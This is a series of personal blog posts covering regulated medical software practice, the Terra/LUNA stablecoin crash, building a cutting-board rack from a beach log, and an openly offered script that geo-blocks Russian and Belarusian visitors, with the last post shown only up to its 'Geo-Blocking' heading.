Regulated software for software people

If you’ve built software at any scale, you know how the game works. You get requirements from somewhere — usually they’re wrong or at best incomplete. You do your best to implement and test them, and you ship. Users vote with their clicks as to what features work and which don’t — i.e., they refine the requirements for you — and then you repeat the process. Eventually you converge to a set of features that work, then you do it all over again with a new set of requirements.

If your cycle time is long, that’s called “waterfall” and folks judge you for it, which is sometimes fair but not always. If your cycle time is short, it’s called “agile.” Agile does have some advantages: user feedback gets incorporated more quickly, and doing things in smaller chunks generally results in fewer bugs. A lot of people have written a lot of boring religious articles about the differences here, but in reality most folks fall somewhere in the middle, and it’s usually fine. If you’re building the next Tinder or Candy Crush or whatever, that’s pretty much all the “process” you need to know.

But what if you’re building something for healthcare or another industry where the software is “regulated?” Oh my. “Regulation” is scary and mysterious, and people keep talking about going to jail. There’s a whole industry that as far as I can tell is built around paying protection money to consultants. So it’s not surprising that “regulated” in a software job description is a turn-off for lots of people. Still, it’s the cost of doing business for a lot of important things in the world, so let’s take a look at what’s really going on there.

An important caveat: I have never worked for the FDA or any regulatory agency. I’m not a lawyer. I’m just a guy who has written a bunch of regulated software and believes the advice I’ve received from the “regulatory industry” has been almost entirely crap (a very few people break that mold; you know who you are). My hope here is to give you a straightforward, clear-cut introduction so that you can enter into the process with enough confidence to avoid being bullied by silly hyperbole about going to jail or other craziness. The actual regulators I’ve known just expect you to do your best to build safe, reliable products, and they get that it’s a hard job. Understanding a few key things will not only keep you compliant, it will help you build better stuff. Honest.

The Big Secret

Most of my big-time regulatory work has been with FDA Class 1 and 2 medical devices. “Classification” is a risk stratification based on your “intended use” — a super-important bit of text that precisely defines what your device is supposed to do and how it’s supposed to be used. Nailing these down can be a fraught and expensive process all on its own.

But we’re getting ahead of ourselves here — a common problem in this space! In this piece I’m not going to go deep into the details of any specific regulation — because (cover your ears regulatory folks) they don’t really matter to you. OK, maybe they matter if you’re in a startup and you’re the one that has to actually do the filings … but that’s probably a horrible idea anyways. From a software perspective, pretty much all safety-focused regulation looks exactly the same and can be satisfied by adhering to a set of relatively small and, dare I say, pretty reasonable requirements.

This is a bigger secret than you might think. Thanks to the impenetrable nature of regulatory jargon and text, folks that can claim actual experience are in high demand. It’s to their advantage and job security to make it seem super complicated — nobody wants to go to jail, so we all just keep paying for vague explanations and double-talk. Of course that’s a broad brush —  but it’s more right than wrong.

Software first, not Regulation first

This is my biggest regret from my last regulated gig. I had stepped into a higher risk class of device, and we had hired a set of regulatory folks with no direct software experience. The company was very focused on agency approval, so there was a ton of pressure to get it “right.” Not good excuses, but it is what it is — I let our initial software processes be driven by regulation first. That’s not to say we didn’t build excellent software, because we did — but we did it with a very high burden on the team that honestly was mostly just wasted time and energy. I was lucky to lose only a couple of good people to the noise before we got things more-or-less straightened out.

Your job is to build great software. Finish reading this article, understand what you really need to be able to prove and document, talk to folks you trust, and then use your own software-focused best practices to meet the regs. It is the job of your regulatory team to take what you produce and “package” it into the right form for filings and auditors. This packaging takes work and a depth of understanding not many folks in the industry bring, so you’re probably going to get pushback. Stand your ground. Over time, it is for sure worth adding automation to generate different forms of documentation (this is where we finally ended up) and that’s great — but be confident that, if you execute well, you need not be bound by crazy redundant busywork.

Safety-based regulation in three bullets

Software regulation isn’t really intended to protect against bad or fraudulent actors — there are other laws for that. Instead, the point is to ensure that the specific risks and benefits associated with a product are understood and visible. From a software perspective, that means three things:

  1. You know what it’s supposed to do.
  2. It does what you expect.
  3. You’ve considered the risks.

The first two of these should look pretty familiar. #1 just says that you have a correct and detailed specification. #2 says you tested the software against that specification. These might need to be a bit more formal than you’re used to, but if you don’t have a good starting point, your product probably sucks anyways. You likely already use JIRA or some other system to track features/stories and bugs, so if you can generate the following reports you’re basically done with these first two requirements:

  • A list of features, each with sufficient detail to be implemented.
  • For each feature, a list of test cases that cover the feature.
  • For each test case, a record of each time it was executed and passed or failed.

Formal documentation of test cases and results — and especially links back to the specific features they exercise — can be pretty thin at many companies, where dedicated QA resources are hard to come by. If your tests are automated, a great start is just to log feature IDs along with each test case you run. Together with code coverage reports, that gets you a long way towards compliance. For manual test cases, you will need some way to keep track of things — I’ve used the Zephyr plugin for JIRA with good success, but there are tons of options out there.

Risk Assessment

Documented risk assessment (#3) is new to a lot of folks. The concept can take a bit of getting used to, because if you’re good at your job you’ve been assessing and addressing risks implicitly all along. Is there enough contrast to read this text in high-light situations? Will users understand what “accept” means in this situation? What happens if the user doesn’t scroll down to read the whole message? And so on. By the time you sit down for a “formal” risk analysis, you’ve probably taken care of most issues already.

And yet it’s a requirement to document a formal risk assessment for each feature. The best way I’ve found to manage this is to add a custom field to the requirements management system for risks, and ask folks to just make notes there along the way. Towards the end of the development phase, have the team sit down and clean them up and spend a bit of timing thinking about anything missed. That meeting tends to be pretty quick and actually serves as a nice double-check. Ultimately you’ll want to document four things for each risk identified:

  • What could happen.
  • The potential impact.
  • Some idea of how likely and how severe this would be (more on this below).
  • What you’ve done to mitigate or reduce the risk.

There are tons of rubrics for codifying “likelihood” and “severity” — red zone / green zone kind of stuff. I’m torn about these — there is definitely validity to the balance between risks that might cause actual physical harm but are so unlikely to occur that it would be silly to spend time on them, versus risks that have almost no real impact but could happen so frequently that it justifies extra work. But trying to get too precise is really quite hopeless — I’d just estimate low/medium/high on both dimensions and leave it at that.

Potential bugs are not “risks.” Of course bad code can cause all kinds of problems — but trying to capture that is a useless shell game. That “risk” applies to every feature, and the only mitigation is to develop and test better. Documenting this is useless. Software risks generally come down to user interface confusion, algorithms that break down given extreme inputs, that kind of thing. Honest, it gets easier once you do it for awhile.

Lastly, “documentation” or “user education” is a totally reasonable way to mitigate some risks. Sometimes something important is just complicated, and the user cannot be expected to understand how to use a feature without training and/or documentation. That’s OK! Just don’t use it as a crutch for bad design — your job after all is to build a helpful product, not an obtuse one. A trick that can increase the effectiveness of “mitigation by documentation” is to put the documentation directly into the user experience. For example, the first time the user clicks a particular button you might proactively pop up a dialog that can be dismissed once acknowledged.

The “Manufacturing” gotcha

Hopefully so far you’re feeling OK about all of this. A few tweaks to very standard practices and you’re pretty much capturing all the raw material you need. Woot! Ah, but wait.

Almost for sure you’re building modern software that runs as a service (in the cloud or otherwise), releasing new functionality on a regular basis — and that can make documentation a lot trickier. Maybe I should have mentioned this earlier, but I didn’t want to scare you off. Don’t worry, it’ll be ok.

Traditional medical devices are “things” — tongue depressors, MRI machines, cancer drugs, and so on. A great deal of up-front thought and effort and cost goes into figuring out what to make and how to make it. Prototypes are created. Factories and factory lines are set up. Raw materials are sourced. And then when you’re done, you flip a switch and stamp out thousands or millions of copies, exactly the same way, for years. Within that context, safety-based regulation makes a ton of sense. It expects to see “a” design record for each device. Auditors come in and ask to see “the” documents for a given product.

This worked ok when software shipped on a CD in a box. But when it runs as a service, updated and improved over many iterations in near real-time, things can get messy pretty quickly. Note this isn’t about “waterfall” vs. “agile,” it’s about frequent, incremental releases over time vs. one-and-done “manufacturing.”

My first stab at this didn’t work super-well. We basically just wrapped up each release, no matter how small, into its own set of documents — features, risks, test cases and results. When we did our first independent audit (internal, thankfully) the auditor asked for the documents for product X. I handed over dozens of these release packages and smiled confidently. We did a cool demo. They then said OK, you showed me this feature that does Y, where are the test results that prove it works? Seems like a reasonable request.

Yikes. Like almost every feature, this one had evolved over time. There were probably twenty stories related to it, scattered across dozens of releases, each one incremental, like “add option Z to the menu.” Was all the information there? Sure, you could figure it out if you really understood the product and had a couple of days to sort through it all. But answering that seemingly simple question in real time in the auditing room? No chance. And while I did say that it was the responsibility of your regulatory team to “package” your raw documents into something palatable to an auditor, this kind of synthesis is way too much to ask.

I’m sure there are many ways to address this issue, but we settled on something we called a “component document.” This was a single, authoritative, narrative document that could be used as the starting point for anybody trying to understand what the product did. It explained its purpose, the general approach to building it, and each major feature or feature area, assigning a unique identifier to each. The document was meant to be largely stable — that is, day-to-day features and bug fixes did not require changes to the text. An example might be a component-level feature that says “abnormal results will cause an alert to be sent to the medical team;” a corresponding release-focused requirement might describe specific alert conditions and channels for notification (like email). Adding SMS alerting would be a new requirement in a new release, but wouldn’t require updates to the component document.

By explicitly associating every requirement with a “component-level” feature, it became trivial to assemble coherent documentation packages. There were other benefits as well — for example, we found that if a requirement triggered a text change in the component document, it almost always warranted a full test pass rather than something more targeted. And the component document was a fantastic training vehicle for new engineers and even end users. It certainly isn’t always the case, but this time the regulatory framework really did directly help us improve our development process. Love that!

Almost there… honest!

At this point you should feel confident that you can build software in a way that satisfies the intent of safety-focused regulation. You understand and can explain what you’re building, you have tested it appropriately, you have assessed risks to health and safety — and you have the documents to prove it in an audit setting. This is really good, and frankly notably better than many self-claimed “compliant” software shops I’ve seen in real life. There is no orange jumpsuit in your future (at least for this reason).

That said, there are always more concepts in the regulatory framework you should be thinking about and evolving towards. None of these are all that challenging, and you should at least be prepared to explain to auditors how you think about them:

“V”erification vs “V”alidation

“V&V” is often used as a synonym for “testing” — which is pretty close, but obscures an important distinction between the two that you’ll need to address:

  • “Verification” ensures that features work as they are specified. It makes no judgment about whether the features do the “right” thing, just that they meet the spec.
  • “Validation” ensures that features do what users need them to do. They are really a test of the specifications themselves.

In an ideal world, verification tests are executed through automation and/or your engineering team, while validation tests are done by actual end users. In reality, most end-users aren’t qualified to do a good job, and you risk wasting time on “test theater” that doesn’t really prove anything. You’ll have to find your own way here; a reasonable approach might be to (a) make sure end-users are formally involved in the up-front process of creating specifications, and (b) label your test cases as “verification” or “validation” to show you’ve been thoughtful about both concepts.

Design Documents

Significant architectural decisions should be recorded in “design documents.” These are just engineer-focused documents in any form that help describe “how” the product is built. Think about the kind of documentation you’d like to show to a new developer on the team before they jump into code. Associating design documents with component-level features is a great way to keep a handle on how it all fits together.

Third-party software and/or “SOUP”

If your product incorporates COTS (“Commercial / Off The Shelf”) software, that also needs to be validated. Some vendors may be able to help you with this, and some may already have a base level validation that you can start from. But in most cases, you’ll want to show that the acquired software does what you need it to do. This is typically a “one-and-done” exercise where you (a) document your requirements and (b) write and execute tests cases to show the product satisfies those requirements.

This applies to third-party libraries you use as well, and even to your own internal software that may have been developed “way back when” without any documentation at all (sometimes called SOUP, for “Software of Unknown Provenance”). The same process applies — write some requirements, write some tests, run the tests, and have that documentation ready for auditors.

Surveillance

“Bugs found in the wild” is a fantastic measure of software quality (hint: fewer is better). Your regulatory team should be managing formal “complaints” (escalating to you as needed), but keeping track of which bugs were found post-release is a great practice that will serve you well. A quarterly meeting to discuss trends and identify problematic features shows that you’re taking it seriously, so keep meeting notes and be prepared to show a graph of incidents and their severity over time.

Approvals and Signatures

This is an area that really bugs me. Regulatory folks can get super hung-up on ink-based signatures and extreme measures to ensure that documentation is “tamper-proof.” Full stop, I think this is a waste of time. Regulation is not intended to stop a sophisticated bad actor — it’s supposed to help folks trying to do the right thing. The burden of security theater can be stupid high. My take:

  • The software you use to manage requirements and tests should require login and keep track of who creates/updates items in the system.
  • Don’t delete stuff; instead use “inactive” or “obsolete” statuses to keep irrelevant or mistaken entries out of everyday view.
  • Make sure that the appropriate people (especially end users) mark their approval of requirements and tests in the system by clicking a button or writing a comment, and be able to show a record of that.
  • Don’t go overboard.

A final note about audits and auditors

You’re never going to be “done” tweaking and evolving this stuff. Auditors are paid to find issues, and no matter how great you are, they’re going to find some. Don’t sweat it and don’t be defensive. Listen, create a plan to address what they find, and then — this is the real key — follow through. When that auditor comes back they’re going to assess your response, and the worst thing you can do is just ignore them. If you disagree, start a dialogue and you’re sure to find a reasonable compromise.

Bottom line — bureaucracy is bureaucracy, and there is for sure burden associated with complying with regulation. Some of that burden is stupid, and some of it helps. Believe it or not, the actual regulators really do understand this, and are always working to make it simpler (even right now). Your biggest challenge will be the “industry” of high-priced consultants who are incented only to keep you worried and paying their hourly fees. Don’t freak out. Put in a little work to understand the real intent, honestly work to incorporate the key concepts — and you’ll be just fine.

More crypto hijinks, aka WTF happened to Terra-Luna?

Today I’m setting aside my belief that all crypto is doomed to fail. It is, but that’s a medium-term diagnosis — at least for now, and ignoring the day-to-day bugs that occur in all software, blockchain technology certainly works as advertised. It’s actually super-cool and worth reading up on; my articles on crypto theory and implementation are just two of many reasonable places to start.

But sadly, even if you suspend disbelief about the technology itself, it’s being used to build a ton of straight up con games. That’s maybe a bit harsh — there are obviously true believers out there, but they’re so mixed up together with the con artists that it’s harder and harder to tell the difference. And honestly, when it’s my money on the line, that “difference” doesn’t really matter anyways.

In just the latest example, willful misuse of the world “stable” tanked somewhere between 92-100% of value for “investors” in UST and LUNA tokens — that’s about $45 BILLION USD. And despite an (ever-shrinking) number of frantic screeds to the contrary, that money ain’t coming back, ever. Too bad, so sad.

In the crypto world, a ton has been written about this crash already. Most of those folks know way more than I do, but I thought it’d be useful to create something for the more casual observer, one that doesn’t live and die by their hardware wallet and is curious how things could implode so quickly and so completely.

The short story is just that it was all bullsh*t to begin with, but let’s take a closer look.

Stablecoins

The first thing anybody new to cryptocurrency asks is “but why do people think it’s worth anything?” This tends to quickly become a philosophical conversation, because there is no real answer other than “belief.” People believe that it has value, and they believe that others will agree when it comes time to trade that value for goods or services or whatever. So long as nobody looks at it too hard, all is well. It seems ridiculous when you say it that way, but that’s basically how the US Dollar works too, ever since 1933 when the US government abandoned the gold standard. For that matter you can go even further down the rabbit hole — why is gold itself worth anything? Sure there are some commercial use cases for the metal, but that’s just noise — really it just comes down to belief.

But despite that semi-logical equivalence, there is definitely a huge popularly-perceived difference between cryptocurrencies, which can be created on a whim by deploying a new blockchain (or just a smart contract), and “fiat” currencies that are backed by a government or similar supposedly-reliable entity. “Stablecoins” were invented as a solution for folks that like the mechanics of cryptocurrency (anonymity, smart contracts, etc.) but want the confidence that comes with traditional money.

Stablecoins are honestly just about the only thing in the crypto world that are truly easy to understand. It’s just the gold standard for 2022 — somebody “mints” new crypto tokens and promises that each one is “backed” by actual reserves of some fiat or hard currency. For example, Tether tokens are minted by Tether Holdings Limited, a company registered in Hong Kong, and are guaranteed to be backed 1:1 with real world reserves. Each of their USDT tokens is backed by $1 USD, so at least theoretically you can always swap one for a crisp new Washington. This makes them “stable” — their value should never fluctuate more than the reserve currency does.

Of course, to trust the token you have to trust the entity holding the reserves — despite its price stability Tether hasn’t made a lot of friends in the New York AG’s office. There will always be good companies and bad companies out there, and the balance with regulators is a never-ending dance. But at least the concept makes sense and is fundamentally sound.

Not-so-stablecoins

Alas, true stablecoins are just too simple for some folks. It is true that they are only as “safe” as the entity that vouches for them. And the asset centralization they require does run contrary to crypto’s power-to-the-people vibe. One attempt at addressing these issues is the so called “algorithmic stablecoin,” an interesting concept that unfortunately doesn’t deserve its moniker. Until a few days ago, the most popular algorithmic stablecoin was UST or “Terra.

Here’s how it worked. At first, UST wasn’t backed by any reserves at all. Instead it was launched with a sister coin, a traditional cryptocurrency called LUNA. Terra is the earth and Luna is the moon, get it? The trick was that you could always trade LUNA for UST as if UST was worth exactly $1 USD. Trading from one coin to the other was destructive — that is, you destroy one LUNA to get one new UST or vice versa.

In theory, this dynamic would cause behavior that always kept UST right around that $1 USD “peg.” This stuff is really hard for me keep track of, so here’s how it breaks down:

  • Say UST is trading at $1.01 (USD) and LUNA is at $10.
  • I buy 1 LUNA token for $10 USD.
  • I swap my LUNA for UST. Because this is always done as if UST was worth $1, I get 10 new UST tokens and my original LUNA token is destroyed.
  • I sell my UST and receive $10.10 USD.

Woo hoo! I’m now $.10 richer than I was (at least if you ignore the transaction fees). Critically, because there is now more UST in the world, it has become less scarce which will naturally push the price down towards $1. People will keep making this trade and taking profits until it hits the peg again.

The reverse works just as well. If UST is trading for $.99, I can start with a UST purchase, swap to LUNA and then sell that for USD. I make the same profit, but UST becomes more scarce this time, pushing the price back up towards $1. Since the LUNA side of the algorithm isn’t pegged to anything, it is free to swing up and down with the market, just like BTC or any other cryptocurrency. In this way LUNA was said to “absorb volatility” for UST.

As long as people stay interested in UST, it should keep its peg and LUNA will thrive. The “Anchor” protocol was the third leg of that stool — a scheme by which folks could deposit their UST tokens in return for an annual interest rate of 20%. Compared to anything in the “traditional” finance world, that is an insane guaranteed rate of return. Where did it come from? Anchor acts as a traditional money market for UST and additionally uses its holdings to earn staking rewards on other proof-of-stake blockchains (see here for a little jargon relief). To be fair, Anchor tweaked things over time, but that’s it in broad strokes. People were incented to buy UST and deposit it with Anchor — something like 70% of the entire UST supply lived there.

A-bit-more-stablecoins

All this is very cute, but it’s still just part of the larger crypto shell game. Neither UST nor LUNA was actually backed up by anything but belief. Folks did actually notice this, creating demand that at the start of this year resulted in the founding of the “Luna Foundation Guard.” The LFG was created to help backstop the UST/LUNA ecosystem, primarily with $3.5B in BTC. Now sure we’re backing crypto with crypto — but it is fair to say that of all the crypto out there, Bitcoin is probably the “safest” (yeesh, I just threw up a little writing that).

Between their algorithms, Anchor and the LFG it seemed like UST/LUNA was riding pretty high, with a combined market cap of about $60B USD just last month. Of course $3.5B against $60B is nothing like a true stablecoin reserve, but it was something, and was met with real enthusiasm. (In an amusing-for-some-of-us anecdote, LFG acquired about $1B of that reserve by trading UST to Genesys!)

And, scene.

Right around May 7, a few huge investors started dumping UST (for example this swap of $85M into the actual stablecoin USDC). Most of these dumps came out of Anchor deposits, which eroded trust in future Anchor yields and cascading exits. LFG did what it was supposed to and deployed resources to shore things up, but it didn’t help. And as the supply of UST kept going down, the supply of LUNA exploded — more than 6,000 BILLION new LUNA tokens were minted this month, which of course destroyed its value too.

As of today, the LFG resources are exhausted and the Korean police are sequestering their remaining assets. Meanwhile, the asshat crypto-bro that started all this just keeps on rolling and is trying to convince people to jump on board with his new “Terra 2.0” … holy crap.

Anonymity being what it is, it’s not entirely clear why things collapsed as quickly as they did. I’ve read speculation that it was an orchestrated attempt by BTC shorts — forcing LTG to sell its holdings all at once created downward pressure on Bitcoin that others could take advantage of. But it’s all basically guesses, and you don’t really need a conspiracy theory to explain the implosion. Belief-based value is only good as long as people keep believing. The whole market has been on shaky ground — and the mostly-unregulated crypto market is incredibly vulnerable to panic.

TLDR, saying something is “stable” doesn’t magically make it so.

Look, I’m the farthest thing from a financial genius. But what I believe is this — the most reliable way to lasting value is to build things that improve the world. For sure some new things are coming out of the crypto world, and those will last. But most of it? Garbage.

Milling (boards) and drilling (pockets)

Have I mentioned how much I love our place on Whidbey Island? The ocean and animals are always present, and the house is built perfectly to take advantage of all that natural beauty. But the kitchen? Eh. I mean, it works fine, it’s just, well, ugly. The folks we bought from never found a clearance sale they didn’t love, from the dirt-brown counters to the yellowy oak cabinets to the weird pink sink. All “fine” materials on their own, but as a whole pretty nuts.

So just as most of America seems to be, we’re getting around to a renovation. Lara is a huge fan of quartz countertops from Cambria, and while I like them too what really sold me is that the company financed a whole freaking movie because, I guess, it was cool? I swear I’m not making this up; watch the trailer!

Legend of Cambria tells the story of the legendary lands that inspired our beautiful countertop designs. Each Cambria® surface is masterfully crafted by American craftsmen and women with an uncompromising commitment to quality, performance, and durability. Discover them for yourself and make your dream kitchen or bath a reality.

We also got a new sink, added a cool tile backsplash and next month those oak cabinets are getting filled and painted along with most of that side of the house. My primary job is swapping out every – single – outlet and switch so they’re all white. Someday I’ll get the circuit breakers properly labelled, but if I’m totally honest, probably not.

Anyways, with all of this fancy new stuff, our go-to approach for storing cutting boards (i.e., “jamming them in the corner”) isn’t going to “cut” it — too hard on the new paint. And sure you can buy something perfectly nice and ready-made for like $10, but I figured it’d be fun to try some new wood adventures. So that’s the leadup to my latest project — a cutting-board rack made from (of course) a random log off the beach.

The loose concept was a U-shaped piece with a high right side that would stand up against the newly-painted wall, about a 5” space for boards to slide in, and a short lip on the left side to stop them from slipping out. The tallest cutting board we have is about 12” high, and the full counter depth is 25” — about 22” long fits well. I wanted to have the tops be opposite live edges from the same log, so it kind of looked like I just folded up a single plank. Some people do really really neat waterfall pieces matching grain and everything — nothing so elaborate from me, just a little touch.

First step was to source the material. Other than being big, the log I picked wasn’t particularly notable — enough time out in the water to acquire some character and staining, but not so long that it had too much damage. Most importantly, there was an end poking out of the pick-up-sticks pile that I could cut safely.

Milling is complicated

There are a number of different ways to mill logs into boards — and it’s one of those topics where the web can confuse as much as educate. Dunn Lumber created a great video describing the different cuts and grains. In short, if you look at the end of a board you’ll generally see one of three patterns in the grain:

  1. “Plain Sawn” boards have shallow angles (typically < 30 degrees) that curve and look like smiles or frowns.
  2. “Quarter Sawn” boards have straighter-looking grain at 30-60 degree angles.
  3. “Rift Sawn” boards have near-vertical grain (60-90 degree).

These different patterns impact the “stability” of the wood (whether it tends to warp while drying) and the look of the faces of the board (this depends a lot on species, but plain sawn boards tend to have broad wavy “cathedral” markings on the faces while quarter and rift sawn boards tend to have regular, straighter bands). The complicated part is that terms used to describe the method of cutting overlap and conflict with those used to describe the end-product. There are some great pictures of cutting methods on this site; but in short:

  1. “Plain sawing” creates all plain sawn boards, with lower stability but the least waste. Most building material is created this way. Sometimes people confuse this term for “flat sawing” which is effectively live sawing but with trimmed edges.
  2. “Rift sawing” (sometimes called “radial”) extracts only rift sawn boards, maximizing stability but wasting the most material. It’s used for things like high-end flooring.
  3. “Quarter sawing” is a compromise that results in a mixture of quarter sawn and rift sawn boards. Most higher-quality boards are cut this way.
  4. “Live sawing” results in boards of all three types and leaves the natural edges on the boards. Live sawing is a more recent trend and super-popular in the artsy world.

Anyways — for my project, I wanted something that would look nice, but also had to consider stability because I was going to dry the wood quickly in the oven — significant warping would be a big hassle. I wasn’t worried about wasting material (this is just a log that washed up on my beach after all), so I cut two boards as shown in the diagram to the right; one full-width that was mostly quarter sawn (while still giving me my matching live edges) and one shorter one (for the bottom) that was rift sawn.

I made the cuts all by hand with the chainsaw, which was a fun challenge. I jammed the blade a few times on the lengthwise (rip) cuts, because the damp wood shredded more in that direction, throwing long fibers into the drive wheel that eventually gummed things up (you can see some of that at the base of the blade in the picture). Apparently you can buy dedicated ripping chains (e.g., this one) and I definitely should get one, but I muscled through it with only a little bit of foul language.

Drying and refining

This particular log has seen some float time — so getting it dry was key. It turns out that three hours in the oven at 200 degrees does a great job (hat tip to https://splitwoodclub.com/how-to-dry-wood-in-an-oven-a-practical-diy-guide, although the quick synopsis is “put it in the oven for a while”). Evaporating old seawater does have a bit of a distinctive smell, but hey beauty is pain. I’m going to be using this technique a lot for smaller pieces going forward.

The wide board just barely fit through my benchtop planer, but eventually I got it down to a nice looking ¾” thickness. I planed the second piece to ½” and then sanded them both up to 120 grit. I was actually pretty impressed with the quality of the wood — just one soft spot I had to stabilize with a little bit of CA glue, and some really nice grain and color. I totally can understand why people like to work with unblemished high-quality wood, but I’ll take the quirky and unique stuff from my backyard every time. A few passes through the table saw and all was ready for assembly.

Joinery, also complicated

OK, time to put this thing together. The rack has two joints, both against the base plate — one for the tall piece that stands up against the wall, and one for the short side that stops boards from sliding off. Just as with milling, wood joinery is way more complicated than it seems on the surface. There are dozens of different ways to connect two pieces of wood, and countless online debates about their relative merits. I am never going to be a finish carpenter, but picking the wrong joint can be pretty catastrophic, so I’ve tried to at least learn the basics.

Most important is to understand what stressors are going to act on the joint. That is — what forces will be trying to make it fail and where are they coming from. The first joint any kid in their garage learns is the “butt joint” (heh)— just putting two pieces of wood next to each other and fastening them with glue. Super-easy, but by far the weakest of all approaches because the holding force is exclusively along one plane — in this example picture, downward force (in green) is no problem (the glue is barely doing any of the work anyways) but any significant force from the side (in red) will quickly break the joint. The taller the vertical piece (and thus the longer the lever), the easier it will snap.

Because of this, most butt joints are reinforced with some secondary fastener that increases holding force and, ideally, does so across multiple planes. In home construction, butt-joined studs are often “toed-in” with nails hammered in at an angle. Doesn’t look great, but studs are hidden anyways. In some cases screws parallel to the joint can work, although they have to be pretty long to do much good. For finish carpentry (furniture, etc.) where the joint will be visible, hidden biscuits or dowels can be used.

The joinery arms race really starts accelerating from there. Laps, dadoes, rabbets, mortice and tenons, dovetails and boxes — many of which are not just stronger than butt joints but actually add to the aesthetics of a piece. Joinery really is an impressive craft and a solid lifetime’s work and I am in awe of the folks that even begin to master it.

Our little stubby joint is easy-peasy. Because it is so short, there won’t be much torque against it, and we have the luxury of a hidden surface on the bottom of the piece, so a simple glued butt joint reinforced with screws from the bottom does the job perfectly well. Countersinking the screws ensures that nothing will scratch the surface the rack sits on. I didn’t even bother to plug the holes, although maybe I should have.

Pocket-hole screws

The tall piece was another matter entirely — it will be subject to a bunch of lateral force, all dependent on a single narrow ¾” joint. Yikes! After considering a bunch of options, I chose to take my first swing at a reinforced technique called a “pocket-hole screw.” These have been around forever, but became really popular with the DIY set in the 1990s when Kreg introduced a jig system that made them braindead easy to create. There are a bunch of options; I chose the middle-of-the-road “K4” version.

A bit like that toed-in nail in a stud, the pocket-hole technique joins two pieces with a fastener inserted at a shallow angle (typically 15 degrees). The fastener is a special self-tapping screw that provides a ton of holding force, embedded into a “pocket” that can be easily hidden beneath a wooden plug. The hole is drilled using a special bit that leaves a flat lip for the screw head to sit on and drives the pilot hole just to the edge of, but not through, the first piece — avoiding splinters that could create gaps between the pieces. Despite all of this detailed engineering, the jig is really easy to use:

  1. Start with the Kreg online Screw Selector to verify jig settings; for simple joints this isn’t really necessary but nice to have a double-check. Remember to use true dimensions for the calculator, not “as-sold” nominal ones.
  2. Set the drill guide depth in the jig and lock in the set screw.
  3. Position and tighten the stop collar on the drill bit using the measuring guide on the jig body.
  4. Clamp the piece to be drilled into the jig.
  5. Drill until the stop collar hits the top of the jig. If you’re not using a vacuum attachment, move the drill in and out so that dust doesn’t jam up the hole.
  6. Position and clamp the joint, then use the long square-drive bit to drive the screw until it is fully seated. Keep the clutch low so you don’t over-tighten and break through the bottom of the second piece.
  7. Put a bit of glue onto a plug and insert it into the pocket. When the glue dries, use a flush-cut saw to trim the plug and sand it even with the surface of the piece.
  8. Tah dah!

There are a lot of “proprietary” pieces in the Kreg jig, and typically I shy away from that kind of thing — but this is one really well-designed. Worth it and highly recommended. The joint in the rack is rock solid and should stand up to a lot of everyday hard use. Love it!

Finishing it up

Since cutting boards are going to slide in and out of this piece every day, it needs something more than my typical oil finish. Lara wanted to keep the natural color of the wood, so I picked a fast-drying semi-gloss spray polyurethane. Four coats seem to be a good thickness, but I may have to insert a bit of acrylic or something on the bottom anyways, we’ll see how it holds up.

I don’t use this kind of surface-coating finish very often — it turned out to be really important to do a final sanding and buff to get a nice feel and shine to the wood. The amount of dust that settles on a drying finish is kind of crazy; maybe I need a clean room!

A few little sticky rubber feet to keep it solid on the counter, and that’s a wrap — a fun project and I learned a lot. Which is good, because when you spend like ten hours building something you can buy online for less than a Jackson, you’d better at least be having fun. W00t!

PS. Completely unrelated bonus image of the beach swings I just finished setting up this afternoon. Who doesn’t love a good swing?

RuBy – Blocking Russia and Belarus

The Internet is a funny place. At the exact same moment that Russian troops are committing war crimes in the real world, Russian users online are just bopping around as if everything is cool. ShutdownHook is anything but a large-scale website, but it does get enough traffic to provide interesting insights in the form of global usage maps. And pretty much every day, browsers from Russia (and very occasionally Belarus) are stopping by to visit.

Well, at least they were until this afternoon. My love for free speech does not extend to aiding and abetting my enemies — and until the people of Russia and Belarus abandon their attacks on Ukraine, I’m afraid that is the best term for what they are. And before you spin up the de rigueur argument about not punishing people for the acts of their government, please just save it. I get the point, but there is nobody on earth that can fix these countries other than their citizens. They do bear responsibility — just as I and my fellow Americans did when we granted a cowardly, bullying toddler the United States’ nuclear codes for four years. Regardless of our individual votes.

Anyways, while I’m certainly not changing the world with my amateur postings here on ShutdownHook, I am trying in a very small way to share ideas and experience that will make folks better engineers and more creative and eclectic individuals. And I just don’t want to share that stuff with people who are, you know, helping to kill families and steal or destroy their homes. Weird, I know.

Enter RuBy — a tiny little web service that detects browsers from these two countries and replaces site content with a static Ukrainian Flag. You can add it to your web site too, and I hope you will. All it takes is one line anywhere on your site:

 <script src="https://shutdownapps.duckdns.org:7076/ruby.js" type="text/javascript" defer></script>

It’s not perfect — the same VPN functionality that folks use to stream The Great Pottery Throw Down before it’s available in the States will foil my script. But that’s fine — the point is to send a general message that these users are not welcome to participate in civilized company, and I think it does the trick.

If you’d rather not use the script from my server, the code is freely-available on github — go nuts. I’ll cover all the details in this post, so keep on reading.

Geolocation Basics

Image credit Wikipedia

Geolocation is a general term for a bunch of different ways to figure out where a particular device exists in the real world. The most precise of these is embedded GPS. Pretty much all of our phones can receive signals from the GPS satellite network and use that information to understand where they are — it’s how Google Maps shows your position as you sit in traffic during your daily commute. It’s amazing technology, and the speed with which we’ve become dependent on it is stunning.

Most other approaches to positioning are similar; they rely on databases that map some type of identifiable signal to known locations. For your phone that might be cell towers, each of which broadcasts a unique identifier. Combining this data (e.g., from opencellid.org) with real-time signal strength can give some pretty accurate results. You can do the same thing with a location-aware database of wifi networks like the one at wigle.net (the nostalgia behind “wardriving” is strong for this nerd). Even the old WWII-era LORAN system basically worked this way.

But the grand-daddy of location techniques on the Internet is IP-based geolocation, and it remains the most common for locating far-away clients without access to signal-based data. Each device on the Internet has an “IP Address” used to route messages — you can see yours at https://whatsmyip.com/ (ok technically that’s probably your router’s address, but close enough). This address is visible to both sides of a TCP/IP exchange (like a browser making a request to a web server), so if the server has access to a location-aware database of IP addresses, it can estimate the browser’s real-world location. The good folks at ip2location.com have been maintaining exactly this database for years, and insanely they still make a version available for free at https://lite.ip2location.com/.

The good news for IP-based geolocation is that it’s hard to technically spoof an IP address. The bad news is that it’s easy to insert devices between your browser and a server, so spoofing isn’t really even required to hide yourself. The most common approach is to use a virtual private network (“VPN”). With a VPN your browser doesn’t directly connect to the web server at all — instead, it connects to a VPN server and asks it to talk to the real server on your behalf. As far as the server is concerned, you live wherever your VPN server lives.

There are whole companies like NordVPN that deliver VPN services. They maintain thousands of VPN servers — one click makes your browser appear to be anywhere in the world. Great for getting around regional streaming restrictions! And to be fair, a really good way to increase your privacy profile on the Internet. But still, just a teeny bit shady.

Geo-Blocking

